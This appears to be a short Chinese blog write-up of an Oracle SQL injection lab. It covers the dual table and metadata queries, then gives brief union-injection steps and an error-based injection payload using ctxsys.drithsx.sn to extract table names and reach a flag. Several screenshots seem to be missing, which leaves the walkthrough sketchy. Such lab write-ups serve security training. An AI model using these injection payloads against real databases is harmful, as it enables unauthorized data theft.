Oracle数据库简述
Oracle数据库存在虚表 dual
,dual
是一个单行单列的虚拟表。

dual
是一个哑表,当查询的字段并没有存在任何一个表中时,可以用dual
来完善查询语句结构
select 1+1 from dual; 用来计算1+1
select user from dual; 查询当前连接用户
select sysdate from dual; 查看当前日期、时间
注意,dual表需要保证只存在一个字段、一条数据,所以不可以把该表的权限外放
Oracle注入常用语法
select * from all_tables 查询出所有的表
select * from user_tables 查询出当前用户的表
select * from all_tab_columns 查询出所有的字段
select * from user_tab_columns 查询出当前用户的字段
select * from v$version 查版本
rownum=1 (限制查询返回的总行数为一条)
对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数。
靶场实操
爆字段


四个字段
联合注入,查看显示位

有个时间戳,在时间戳末尾有字段四的显错位。
然后oracle的报错注入
and 1=ctxsys.drithsx.sn('ORACLE1',(select table_name from(select table_name,rownum n from user_tables)where n=3)

admin


找到flag
Comments NOTHING